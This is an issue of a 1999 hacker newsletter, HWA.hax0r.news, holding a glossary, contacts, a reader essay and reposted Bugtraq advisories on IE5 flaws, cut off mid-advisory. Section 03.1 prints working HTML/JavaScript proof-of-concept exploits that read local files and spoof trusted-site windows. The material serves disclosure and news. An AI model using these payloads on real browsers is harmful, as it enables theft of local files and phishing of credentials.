home *** CD-ROM | disk | FTP | other *** search
Text File | 1999-03-26 | 393.0 KB | 9,060 lines
[ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= ========================================================================== = <=-[ HWA.hax0r.news ]-=> = ========================================================================== [=HWA'99=] Number 11 Volume 1 1999 March 24th 99 ========================================================================== Anyone want to send in comments on the current site or ideas for a new site layout, please do so, i'm no html wizard and all my sites tend to end up looking pretty much the same, if you feel creative and want to put a demo site together or point me in the direction of a site layout you like please do so, i'm getting bored with the haphazard layout of the current site and could use some creative input on ideas for layout as its a bit crowded currently and only looks half decent in 1024x768 mode .... tnx - cruciphux@dok.org Synopsis -------- The purpose of this newsletter is to 'digest' current events of interest that affect the online underground and netizens in general. This includes coverage of general security issues, hacks, exploits, underground news and anything else I think is worthy of a look see. This list is NOT meant as a replacement for, nor to compete with, the likes of publications such as CuD or PHRACK or with news sites such as AntiOnline, the Hacker News Network (HNN) or mailing lists such as BUGTRAQ or ISN nor could any other 'digest' of this type do so. It *is* intended however, to compliment such material and provide a reference to those who follow the culture by keeping tabs on as many sources as possible and providing links to further info, its a labour of love and will be continued for as long as I feel like it, i'm not motivated by dollars or the illusion of fame, did you ever notice how the most famous/infamous hackers are the ones that get caught? there's a lot to be said for remaining just outside the circle... <g> @HWA =-----------------------------------------------------------------------= Welcome to HWA.hax0r.news ... #11 =-----------------------------------------------------------------------= ******************************************************************* *** /join #HWA.hax0r.news on EFnet the key is `zwen' *** *** *** *** please join to discuss or impart news on techno/phac scene *** *** stuff or just to hang out ... someone is usually around 24/7*** *** *** *** Note that the channel isn't there to entertain you its for *** *** you to talk to us and impart news, if you're looking for fun*** *** then do NOT join our channel try #wierdwigs or something... *** *** we're not #chatzone or #hack *** *** *** ******************************************************************* =-------------------------------------------------------------------------= Issue #11 =--------------------------------------------------------------------------= [ INDEX ] =--------------------------------------------------------------------------= Key Content =--------------------------------------------------------------------------= 00.0 .. COPYRIGHTS ...................................................... 00.1 .. CONTACT INFORMATION & SNAIL MAIL DROP ETC ....................... 00.2 .. SOURCES ......................................................... 00.3 .. THIS IS WHO WE ARE .............................................. 00.4 .. WHAT'S IN A NAME? why `HWA.hax0r.news'?.......................... 00.5 .. THE HWA_FAQ V1.0 ................................................ 01.0 .. GREETS .......................................................... 01.1 .. Last minute stuff, rumours, newsbytes ........................... 01.2 .. Mailbag ......................................................... 02.0 .. From the editor.................................................. =--------------------------------------------------------------------------= 03.0 .. MSIE 5 is still susceptible to frame spoofing and other bugs..... 03.1 .. MSIE 5 problems carried over from earlier versions.............. 04.0 .. WintrasherGOLD................................................... 05.0 .. LDAP Buffer overflow............................................. 06.0 .. HP security bulletin: HPTerm exploit............................. 07.0 .. Eudora buffer overflow exploit................................... 08.0 .. Netscape SUSE crash exploit...................................... 09.0 .. Hotmail to fix potential security problem ....................... 10.0 .. NcFTPd Exploit (from Feb but missed in earlier issues)........... 10.1 .. NcFTPd proxy exploitation....................................... 10.2 .. Mail.local sendmail exploit advisory............................ 11.0 .. Its in the bag, much ado about nothing .......................... 12.0 .. [ISN] DNS Spoofing finally resolved?............................. 13.0 .. [ISN] IETF working group seeks to improve security alerting .... 14.0 .. Report: Military computers vulnerable............................ 15.0 .. International raid cracks child porn ring ....................... 15.1 .. ACPM : Anti-Child Porn Militia wants YOU........................ 16.0 .. Hacking (Cracking) contest, win a Netfinity server!.............. 17.0 .. eBay owned....................................................... 18.0 .. Aussies to ban Net pr0n.......................................... 19.0 .. More on the ProMail email trojan program ........................ 20.0 .. C41 - PentagonÆs cyberdefenses criticized........................ 21.0 .. [ISN] NetBus 'Trojan' Splits Security Community.................. 22.0 .. [ISN] Cracking tools get smarter ................................ 23.0 .. [ISN] British Defense Ministry Dismisses Hacker Report........... 24.0 .. [ISN] Encryption key would lock up criminals..................... 25.0 .. [ISN] Crypto: Under lock and key ................................ 26.0 .. HRC's interview with Goat Security (IRC LOG)..................... 27.0 .. Year 2000 Network and Distributed System Security ............... 28.0 .. What would YOU do with Bill Gates' SSN?.......................... 29.0 .. MDT monitoring (Mobile Data Terminal as used by the Police)...... 30.0 .. Bugtraq: Lotus notes security advisory........................... 31.1 .. WU-FTPD REMOTE EXPLOIT Version wu-2.4.2-academ[BETA-18](1)....... 32.0 .. Bugtraq: OpenSSL and SSLeay Advisory............................. 33.0 .. OpenBSD security advisories...................................... 34.0 .. Oracle in insecure at initial install............................ 35.0 .. GnuPlot buffer overflow exploit ................................. =--------------------------------------------------------------------------= AD.S .. Post your site ads or etc here, if you can offer something in return thats tres cool, if not we'll consider ur ad anyways so send it in. .......................................................................... HA.HA .. Humour and puzzles ............................................ HA.HA1 .. Humourous newsbytes from Innerpulse.com (www.innerpulse.com). .......................................................................... HOW.TO .. New section: "How to hack" by our illustrious editor part 2..... SITE.1 .. Featured site, http://www.real-secure.org/ with ezine excerpt... on IP Spoofing ................................................. .......................................................................... H.W .. Hacked Websites .............................................. A.0 .. APPENDICES...................................................... A.1 .. PHACVW linx and references...................................... =--------------------------------------------------------------------------= @HWA'99 "Heh heh heh heh heh,.why don't you listen to this recording with interest? Mary Mary, kill the hairy sonuvabitch...he he he and now for something completely different" - Wierdmix'90 00.0 (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT (LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ). Important semi-legalese and license to redistribute: YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE APPRECIATED the current link is http://welcome.to/HWA.hax0r.news IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL ME PRIVATELY current email cruciphux@dok.org THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS: I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE AND REDISTRIBUTE/MIRROR. - EoD Although this file and all future issues are now copyright, some of the content holds its own copyright and these are printed and respected. News is news so i'll print any and all news but will quote sources when the source is known, if its good enough for CNN its good enough for me. And i'm doing it for free on my own time so pfffft. :) No monies are made or sought through the distribution of this material. If you have a problem or concern email me and we'll discuss it. cruciphux@dok.org Cruciphux [C*:.] 00.1 CONTACT INFORMATION AND MAIL DROP ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Has it occurred to anybody that "AOL for Dummies" is an extremely redundant name for a book? - unknown Wahoo, we now have a mail-drop, if you are outside of the U.S.A or Canada / North America (hell even if you are inside ..) and wish to send printed matter like newspaper clippings a subscription to your cool foreign hacking zine or photos, small non-explosive packages or sensitive information etc etc well, now you can. (w00t) please no more inflatable sheep or plastic dog droppings, or fake vomit thanks. Send all goodies to: HWA NEWS P.O BOX 44118 370 MAIN ST. NORTH BRAMPTON, ONTARIO CANADA L6V 4H5 WANTED!: POSTCARDS! YESH! POSTCARDS, I COLLECT EM so I know a lot of you are ~~~~~~~ reading this from some interesting places, make my day and get a mention in the zine, send in a postcard, I realize that some places it is cost prohibitive but if you have the time and money be a cool dude / gal and send a poor guy a postcard preferably one that has some scenery from your place of residence for my collection, I collect stamps too so you kill two birds with one stone by being cool and mailing in a postcard, return address not necessary, just a "hey guys being cool in Bahrain, take it easy" will do ... ;-) thanx. Ideas for interesting 'stuff' to send in apart from news: - Photo copies of old system manual front pages (optionally signed by you) ;-) - Photos of yourself, your mom, sister, dog and or cat in a NON compromising position plz I don't want pr0n. <g> - Picture postcards - CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250 tapes with hack/security related archives, logs, irc logs etc on em. - audio or video cassettes of yourself/others etc of interesting phone fun or social engineering examples or transcripts thereof. If you still can't think of anything you're probably not that interesting a person after all so don't worry about it <BeG> Our current email: Submissions/zine gossip.....: hwa@press.usmc.net Private email to editor.....: cruciphux@dok.org Distribution/Website........: sas72@usa.net @HWA 00.2 Sources *** ~~~~~~~~~~~ Sources can be some, all, or none of the following (by no means complete nor listed in any degree of importance) Unless otherwise noted, like msgs from lists or news from other sites, articles and information is compiled and or sourced by Cruciphux no copyright claimed. HiR:Hackers Information Report... http://axon.jccc.net/hir/ News & I/O zine ................. http://www.antionline.com/ Back Orifice/cDc..................http://www.cultdeadcow.com/ News site (HNN) .....,............http://www.hackernews.com/ Help Net Security.................http://net-security.org/ News,Advisories,++ ...............http://www.l0pht.com/ NewsTrolls (HNN)..................http://www.newstrolls.com/ News + Exploit archive ...........http://www.rootshell.com/beta/news.html CuD ..............................http://www.soci.niu.edu/~cudigest News site+........................http://www.zdnet.com/ News site+........................http://www.gammaforce.org/ News site+........................http://www.projectgamma.com/ +Various mailing lists and some newsgroups, such as ... +other sites available on the HNN affiliates page, please see http://www.hackernews.com/affiliates.html as they seem to be popping up rather frequently ... * Yes demoniz is now officially retired, if you go to that site though the Bikkel web board (as of this writing) is STILL ACTIVE, www.hwa-iwa.org will also be hosting a webboard as soon as that site comes online perhaps you can visit it and check us out if I can get some decent wwwboard code running I don't really want to write my own, another alternative being considered is a telnet bbs that will be semi-open to all, you will be kept posted. - cruciphux http://www.the-project.org/ .. IRC list/admin archives http://www.anchordesk.com/ .. Jesse Berst's AnchorDesk alt.hackers.malicious alt.hackers alt.2600 BUGTRAQ ISN security mailing list ntbugtraq <+others> NEWS Agencies, News search engines etc: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.cnn.com/SEARCH/ http://www.foxnews.com/search/cgi-bin/search.cgi?query=cracker&days=0&wires=0&startwire=0 http://www.news.com/Searching/Results/1,18,1,00.html?querystr=cracker http://www.ottawacitizen.com/business/ http://search.yahoo.com.sg/search/news_sg?p=cracker http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=cracker http://www.zdnet.com/zdtv/cybercrime/ http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column) NOTE: See appendices for details on other links. http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm http://freespeech.org/eua/ Electronic Underground Affiliation http://www.l0pht.com/cyberul.html http://www.hackernews.com/archive.html?122998.html http://ech0.cjb.net ech0 Security http://net-security.org Net Security ... Submissions/Hints/Tips/Etc ~~~~~~~~~~~~~~~~~~~~~~~~~~ All submissions that are `published' are printed with the credits you provide, if no response is received by a week or two it is assumed that you don't care wether the article/email is to be used in an issue or not and may be used at my discretion. Looking for: Good news sites that are not already listed here OR on the HNN affiliates page at http://www.hackernews.com/affiliates.html Magazines (complete or just the articles) of breaking sekurity or hacker activity in your region, this includes telephone phraud and any other technological use, abuse hole or cool thingy. ;-) cut em out and send it to the drop box. - Ed Mailing List Subscription Info (Far from complete) Feb 1999 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~ ~~~~~~~~ ISS Security mailing list faq : http://www.iss.net/iss/maillist.html THE MOST READ: BUGTRAQ - Subscription info ~~~~~~~~~~~~~~~~~~~~~~~~~~~ What is Bugtraq? Bugtraq is a full-disclosure UNIX security mailing list, (see the info file) started by Scott Chasin <chasin@crimelab.com>. To subscribe to bugtraq, send mail to listserv@netspace.org containing the message body subscribe bugtraq. I've been archiving this list on the web since late 1993. It is searchable with glimpse and archived on-the-fly with hypermail. Searchable Hypermail Index; http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html About the Bugtraq mailing list ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The following comes from Bugtraq's info file: This list is for *detailed* discussion of UNIX security holes: what they are, how to exploit, and what to do to fix them. This list is not intended to be about cracking systems or exploiting their vulnerabilities. It is about defining, recognizing, and preventing use of security holes and risks. Please refrain from posting one-line messages or messages that do not contain any substance that can relate to this list`s charter. I will allow certain informational posts regarding updates to security tools, documents, etc. But I will not tolerate any unnecessary or nonessential "noise" on this list. Please follow the below guidelines on what kind of information should be posted to the Bugtraq list: + Information on Unix related security holes/backdoors (past and present) + Exploit programs, scripts or detailed processes about the above + Patches, workarounds, fixes + Announcements, advisories or warnings + Ideas, future plans or current works dealing with Unix security + Information material regarding vendor contacts and procedures + Individual experiences in dealing with above vendors or security organizations + Incident advisories or informational reporting Any non-essential replies should not be directed to the list but to the originator of the message. Please do not "CC" the bugtraq reflector address if the response does not meet the above criteria. Remember: YOYOW. You own your own words. This means that you are responsible for the words that you post on this list and that reproduction of those words without your permission in any medium outside the distribution of this list may be challenged by you, the author. For questions or comments, please mail me: chasin@crimelab.com (Scott Chasin) Crypto-Gram ~~~~~~~~~~~ CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses, insights, and commentaries on cryptography and computer security. To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a blank message to crypto-gram-subscribe@chaparraltree.com.á To unsubscribe, visit http://www.counterpane.com/unsubform.html.á Back issues are available on http://www.counterpane.com. CRYPTO-GRAM is written by Bruce Schneier.á Schneier is president of Counterpane Systems, the author of "Applied Cryptography," and an inventor of the Blowfish, Twofish, and Yarrow algorithms.á He served on the board of the International Association for Cryptologic Research, EPIC, and VTW.á He is a frequent writer and lecturer on cryptography. CUD Computer Underground Digest ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This info directly from their latest ish: Computer underground Digestááá Suná 14 Feb, 1999áá Volume 11 : Issue 09 ááááá ááááááááááááááááááááá ISSNá 1004-042X áááááá Editor: Jim Thomas (cudigest@sun.soci.niu.edu) áááááá News Editor: Gordon Meyer (gmeyer@sun.soci.niu.edu) áááááá Archivist: Brendan Kehoe áááááá Poof Reader:áá Etaion Shrdlu, Jr. áááááá Shadow-Archivists: Dan Carosone / Paul Southworth ááááááááááááááááááááááááá Ralph Sims / Jyrki Kuoppala ááááááááááááááááááááááááá Ian Dickinson áááááá Cu Digest Homepage: http://www.soci.niu.edu/~cudigest [ISN] Security list ~~~~~~~~~~~~~~~~~~~ This is a low volume list with lots of informative articles, if I had my way i'd reproduce them ALL here, well almost all .... ;-) - Ed Subscribe: mail majordomo@repsec.com with "subscribe isn". @HWA 00.3 THIS IS WHO WE ARE ~~~~~~~~~~~~~~~~~~ Some HWA members and Legacy staff ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cruciphux@dok.org.........: currently active/editorial darkshadez@ThePentagon.com: currently active/man in black fprophet@dok.org..........: currently active/IRC+ man in black sas72@usa.net ............. currently active/IRC+ distribution vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black dicentra...(email withheld): IRC+ grrl in black Foreign Correspondants/affiliate members ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ATTENTION: All foreign correspondants please check in or be removed by next issue I need your current emails since contact info was recently lost in a HD mishap and i'm not carrying any deadweight. Plus we need more people sending in info, my apologies for not getting back to you if you sent in January I lost it, please resend. N0Portz ..........................: Australia Qubik ............................: United Kingdom system error .....................: Indonesia Wile (wile coyote) ...............: Japan/the East Ruffneck ........................: Netherlands/Holland And unofficially yet contributing too much to ignore ;) Spikeman .........................: World media Please send in your sites for inclusion here if you haven't already also if you want your emails listed send me a note ... - Ed http://www.genocide2600.com/~spikeman/ .. Spikeman's DoS and protection site Contributors to this issue: ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Spikeman .........................: daily news updates+ ******************************************************************* *** /join #HWA.hax0r.news on EFnet the key is `zwen' *** ******************************************************************* :-p 1. We do NOT work for the government in any shape or form.Unless you count paying taxes ... in which case we work for the gov't in a BIG WAY. :-/ 2. MOSTLY Unchanged since issue #1, although issues are a digest of recent news events its a good idea to check out issue #1 at least and possibly also the Xmas issue for a good feel of what we're all about otherwise enjoy - Ed ... @HWA 00.4 Whats in a name? why HWA.hax0r.news?? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "Can I see you naked?" - Bob Barker Well what does HWA stand for? never mind if you ever find out I may have to get those hax0rs from 'Hackers' or the Pretorians after you. In case you couldn't figure it out hax0r is "new skewl" and although it is laughed at, shunned, or even pidgeon holed with those 'dumb leet (l33t?) dewds' <see article in issue #4> this is the state of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you up and comers, i'd highly recommend you get that book. Its almost like buying a clue. Anyway..on with the show .. - Editorial staff @HWA 00.5 HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Also released in issue #3. (revised) check that issue for the faq it won't be reprinted unless changed in a big way with the exception of the following excerpt from the FAQ, included to assist first time readers: Some of the stuff related to personal useage and use in this zine are listed below: Some are very useful, others attempt to deny the any possible attempts at eschewing obfuscation by obsucuring their actual definitions. @HWA - see EoA ;-) != - Mathematical notation "is not equal to" or "does not equal" ASC(247) "wavey equals" sign means "almost equal" to. If written an =/= (equals sign with a slash thru it) also means !=, =< is Equal to or less than and => is equal to or greater than (etc, this aint fucking grade school, cripes, don't believe I just typed all that..) AAM - Ask a minor (someone under age of adulthood, usually <16, <18 or <21) AOL - A great deal of people that got ripped off for net access by a huge clueless isp with sekurity that you can drive buses through, we're not talking Kung-Fu being none too good here, Buy-A-Kloo maybe at the least they could try leasing one?? *CC - 1 - Credit Card (as in phraud) 2 - .cc is COCOS (Keeling) ISLANDS butthey probably accept cc's CCC - Chaos Computer Club (Germany) *CON - Conference, a place hackers crackers and hax0rs among others go to swap ideas, get drunk, swap new mad inphoz, get drunk, swap gear, get drunk watch videos and seminars, get drunk, listen to speakers, and last but not least, get drunk. *CRACKER - 1 . Someone who cracks games, encryption or codes, in popular hacker speak he's the guy that breaks into systems and is often (but by no means always) a "script kiddie" see pheer 2 . An edible biscuit usually crappy tasting without a nice dip, I like jalapeno pepper dip or chives sour cream and onion, yum - Ed Ebonics - speaking like a rastafarian or hip dude of colour <sic> also wigger Vanilla Ice is a wigger, The Beastie Boys and rappers speak using ebonics, speaking in a dark tongue ... being ereet, see pheer EoC - End of Commentary EoA - End of Article or more commonly @HWA EoF - End of file EoD - End of diatribe (AOL'ers: look it up) FUD - Coined by Unknown and made famous by HNN <g> - "Fear uncertainty and doubt", usually in general media articles not high brow articles such as ours or other HNN affiliates ;) du0d - a small furry animal that scurries over keyboards causing people to type wierd crap on irc, hence when someone says something stupid or off topic 'du0d wtf are you talkin about' may be used. *HACKER - Read Stephen Levy's HACKERS for the true definition, then see HAX0R *HAX0R - 1 - Cracker, hacker wannabe, in some cases a true hacker, this is difficult to define, I think it is best defined as pop culture's view on The Hacker ala movies such as well erhm "Hackers" and The Net etc... usually used by "real" hackers or crackers in a derogatory or slang humorous way, like 'hax0r me some coffee?' or can you hax0r some bread on the way to the table please?' 2 - A tool for cutting sheet metal. HHN - Maybe a bit confusing with HNN but we did spring to life around the same time too, HWA Hax0r News.... HHN is a part of HNN .. and HNN as a proper noun means the hackernews site proper. k? k. ;& HNN - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html J00 - "you"(as in j00 are OWN3D du0d) - see 0wn3d MFI/MOI- Missing on/from IRC NFC - Depends on context: No Further Comment or No Fucking Comment NFR - Network Flight Recorder (Do a websearch) see 0wn3d NFW - No fuckin'way *0WN3D - You are cracked and owned by an elite entity see pheer *OFCS - Oh for christ's sakes PHACV - And variations of same <coff> Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare Alternates: H - hacking, hacktivist C - Cracking <software> C - Cracking <systems hacking> V - Virus W - Warfare <cyberwarfare usually as in Jihad> CT - Cyber Terrorism *PHEER - This is what you do when an ereet or elite person is in your presence see 0wn3d *RTFM - Read the fucking manual - not always applicable since some manuals are pure shit but if the answer you seek is indeed in the manual then you should have RTFM you dumb ass. TBC - To Be Continued also 2bc (usually followed by ellipses...) :^0 TBA - To Be Arranged/To Be Announced also 2ba TFS - Tough fucking shit. *w00t - 1 - Reserved for the uber ereet, noone can say this without severe repercussions from the underground masses. also "w00ten" <sic> 2 - Cruciphux and sAs72's second favourite word (they're both shit stirrers) *wtf - what the fuck *ZEN - The state you reach when you *think* you know everything (but really don't) usually shortly after reaching the ZEN like state something will break that you just 'fixed' or tweaked. @HWA -=- :. .: -=- 01.0 Greets!?!?! yeah greets! w0w huh. - Ed ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Thanks to all in the community for their support and interest but i'd like to see more reader input, help me out here, whats good, what sucks etc, not that I guarantee i'll take any notice mind you, but send in your thoughts anyway. Shouts to: * Kevin Mitnick * demoniz * The l0pht crew * tattooman * Dicentra * Pyra * Vexxation * FProphet * TwistedP * NeMstah * the readers * mj * Kokey * ypwitch * kimmie * tsal * spikeman * YOU. * #leetchans ppl, you know who you are... * all the people who sent in cool emails and support * our new 'staff' members. kewl sites: + http://www.freshmeat.net/ + http://www.slashdot.org/ + http://www.l0pht.com/ + http://www.2600.com/ + http://hacknews.bikkel.com/ (http://www.bikkel.com/~demoniz/) + http://www.legions.org/ + http://www.genocide2600.com/ + http://www.genocide2600.com/~spikeman/ + http://www.genocide2600.com/~tattooman/ + http://www.hackernews.com/ (Went online same time we started issue 1!) @HWA 01.1 Last minute stuff, rumours and newsbytes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "What is popular isn't always right, and what is right isn't always popular..." - FProphet '99 +++ When was the last time you backed up your important data? ++ Attrition has updated its archive of cracked sites with one of the biggest archives on the net http://www.attrition.org check it out ... Mucho thanks to Spikeman for directing his efforts to our cause of bringing you the news we want to read about in a timely manner ... - Ed @HWA 01.2 MAILBAG - email and posts from the message board worthy of a read ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Yes we really do get a pile of mail in case you were wondering ;-0 heres a sampling of some of the mail we get here, the more interesting ones are included and of course we had to get in the plugs for the zine coz we love to receive those too *G* - Ed This is "off-topic" but its something I thought i'd share with the readers if you have any comments on the writing i'd like to hear them and so would phiregod so give us an email, we need more writers like this to bring a dose of reality to our lives now and then... - Cruciphux@dok.org From: "liquid phire" <liquidphire@hotmail.com> To: cruciphux@dok.org Subject: a new one Date: Tue, 23 Mar 1999 19:04:34 PST Mime-Version: 1.0 Content-type: text/plain <snip> when i watch tv all i see are commercials for heartburn stuffs, what is with that? are the subjects of american culture rotting from the inside out? did their bodies realize their sins before their minds did? is this happening with everyone? the world is going downhill fast, and we wont find out until we hit the bottom whether or not our air bags will work. this is a new car commercial, gaudy and loud, "buy or die!" they scream from their tabloid pulpits. our churches have turned into department stores, the very children that are our hope are selling their lives out for a dime bag and a place to stay. we dress in jail rags, chant the rants of the very people that are bringing this psuedo-life to its knees. athletes are yelling the rhymes of corporations at anyone who will listen. our heros are not fighting for equality or freedom, they are throwing hype out about cop killers and hits of coke. you cant eat money, you cant take it with you when you die, and it sure as hell wont stop a bullet. america is the prostitute of the free and imprisoned world, thousands died so we can enjoy cable from our matching houses with our matching lives. god is for those who are wasting their lives and need another one to spare. we fought for what now? so that rapists and murderers could walk free while political prisoners rotted in their cells? parents work all day so their children can attend public schools that promote insecurity and train the next generation to be faceless and money driven. the smart are encouraged to work for large companies or military services, the down of luck are pushed into low paying jobs and inferior lives. the country will prosper and a revolution will be breathing down our necks. i missed the sermon with the explanation, the end is near and the lord saves. mc donalds will cater the apocalypse, and nike will provide the offical shoe. god sold out to miramax for the film, tarantino has claimed the screenplay, and look out for the soundtrack by backstreet boys. salvation is being sold with an order of fries, healing comes with a free drink, faith by armani. the angels have encountered a glass ceiling, sexual harassment allegations in hell, the government has become "nightly action news". blood and gore, right and wrong, good and bad, pleasure and pain extremes are desired in a moderated world. the second coming will have its own line of clothes, the blood of the lamb is copyrighted. heaven and the inferno have merged and the NASDAQ is reaching all time highs. justice has been fucked over, her sword carried off and her measures used for heroin. the flag is used as a doormat in other countries, our anthem sung by drunk veterans in the middle of the night. this feels like a moment of revelation, but its just another day in Las Vegas. i wake up in the middle of the night screaming for solace, i cry for a calm sea and a worthy ship. like a panther truth runs through the sleeping city, merging with the gray and spreading over the streets in lies. we are grasping ever bit of cabbie wisdom we can find, slipping over the edge trying to hold on to religion, government, and "family". we have a thirst that encompasses our lives, and it can only be quenched with blood. "i am the alpha and the omega, the begining and the end." i dont remember if it was jesus or bill gates that said that. please excuse all grammer/spelling mistakes. phiregod liquidphire@hotmail.com www.geocities.com/siliconvalley/sector/4121 Get Your Private, Free Email at http://www.hotmail.com ================================================================ @HWA 02.0 From the editor.#9 ~~~~~~~~~~~~~~~~~~ #include <stdio.h> #include <thoughts.h> #include <backup.h> main() { printf ("Read commented source!\n\n"); /* *So Mircosoft continues to suck, the released IE5 (wooHOO) *and whaddya know it still has a slew of bugs duh...all those *frame spewfing bugs and other java monsters are still in there *so I hope u guys that keep hitting the site with MSIE will *begin to smarten up and see that Netscape although not the *most secure program either is a damn sight better than MSIE *even on a bad day ... peace out rockin with issue 11 * */ printf ("EoF.\n"); } Congrats, thanks, articles, news submissions and kudos to us at the main address: hwa@press.usmc.net complaints and all nastygrams and mailbombs can go to /dev/nul nukes, synfloods and papasmurfs to 127.0.0.1, private mail to cruciphux@dok.org danke. C*:. @HWA 03.0 MSIE 5 is still susceptible to frame spoofing and other bugs ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Fri, 19 Mar 1999 11:46:01 +0100 From: Most Psychoid <psychoid@GMX.NET> To: BUGTRAQ@netspace.org Subject: IE5 - same vulnerabilities, only some fixed Hello, The new Microsoft Internet Explorer 5 (I checked Version: 5.00.0910.1309) still allows Frame Spoofing and reading of local Files as described by Georgi Guninski (see http://www.whitehats.com/guninski/read.html). Another new feature named "AutoComplete" stores entries (which also may be passwords). Just another new source for passwords which had not been saved in IE 4.x. The Crash-bugs seem to be removed. I could not crash my default installed IE 5 using the known exploits. So far, psychoid --- Sent through Global Message Exchange - http://www.gmx.net 03.1 MSIE 5 problems carried over from earlier versions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ There is a Javascript security bug in Internet Explorer 4.x (patched), which circumvents "Cross-frame security" and opens several security holes. The problem is: if you add '%01someURL' after an 'about:somecode' URL, IE thinks that the document is loaded from the domain of 'someURL'. Very strange? Some of the bugs are: 1) IE allows reading local files and sending them to an arbitrary server. The filename must be known. The bug may be exploited using HTML mail message. Demo is available (See Demos below) 2) IE allows "window spoofing". After visiting a hostile page (or clicking a hostile link) a window is opened and its location is a trusted site. However, the content of the window is not that of the original site, but it is supplied by the owner of the page. So, the user is misled he is browising a trusted site, while he is browsing a hostile page and may provide sensitive information, such as credit card number. The bug may be exploited using HTML mail message. Demo is available (See below) 3) Reading AUTOEXEC.BAT using TDC. Demo is available: (See below) Workaround: Disable Javascript Demo #1 <HTML> <HEAD><TITLE> Guninski's IE 4 file reading bug. </TITLE> </HEAD> <BODY> There is a bug in Internet Explorer 4.x (patched) which allows reading local files and sending them to an arbitrary server. <BR> The problem is: if you add '%01someURL' after the URL, IE thinks that the document is loaded from the domain of 'someURL'. <BR> This circumvents "Cross-frame security" and opens several security holes. <BR> The filename must be known. <BR> The bug may be exploited using HTML mail message. The exploit uses Javascript. For more info see the source. <BR> Workaround: Disable Javascript. <BR> <SCRIPT> alert('Create a short file C:\\test.txt and its contents will be shown in a dialog box.') b=showModalDialog("about:<SCRIPT>a=window.open('file://c:/test.txt');s='Here is your file: \\n\\n'+a.document.body.innerText;alert(s);a.close();close()</"+"SCRIPT>%01file://c:/"); </SCRIPT> <A HREF="http://www.whitehats.com/guninski">Go to Georgi Guninski's home page.</A> </BODY> </HTML> Demo #2 <HTML> <HEAD><TITLE> Guninski's IE 4 window spoofing. </TITLE> </HEAD> <BODY> There is a bug in Internet Explorer 4.x (patched) which allows "window spoofing". <BR> The problem is: if you add '%01someURL' after the URL, IE thinks that the document is loaded from the domain of 'someURL'. <BR> This circumvents "Cross-frame security" and opens several security holes. <BR> <BR> After visiting a hostile page (or clicking a hostile link) a window is opened and its location is a trusted site. However, the content of the window is not that of the original site, but it is supplied by the owner of the page. So, the user is mislead he is browising a trusted site, while he is browsing a hostile page and may provide sensitive information, such as credit card number. <BR> The bug may be exploited using HTML mail message. The exploit uses Javascript. <BR> Workaround: Disable Javascript. <BR> <SCRIPT> alert('A window will be open. Examine the location and the content.\nThis may also be done by clicking a link.') b=showModalDialog("about:<SCRIPT>a=window.open('http://www.yahoo.com');a.document.write('<HTML><HEAD><TITLE>Yahoo</TITLE><BODY></HEAD><H1>Look at the address bar!<BR>');a.document.write('<A HREF=\"http://www.whitehats.com/guninski\">Go to Georgi Guninski\\'s home 